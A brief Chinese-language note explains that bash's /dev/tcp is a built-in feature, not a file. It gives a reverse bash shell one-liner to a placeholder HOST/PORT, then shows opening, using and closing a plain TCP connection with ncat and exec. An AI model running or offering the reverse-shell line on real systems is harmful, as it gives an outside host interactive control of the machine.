/dev/tcp不是磁盘里的文件,而是bash的一个功能
一、反弹bash shell
bash -i >& /dev/tcp/HOST/PORT 0>&1
二、收发数据
服务端用ncat等待连接 ncat -lp 6000 -v
然后客户端作为连接发起者这样做
exec 8<>/dev/tcp/gg.4fk.me/6000 #建立连接
ls /proc/self/fd/ #查看连接
echo -e "hello server!" >&8 #发数据
cat <&8 #收数据
exec 8>&- #关闭连接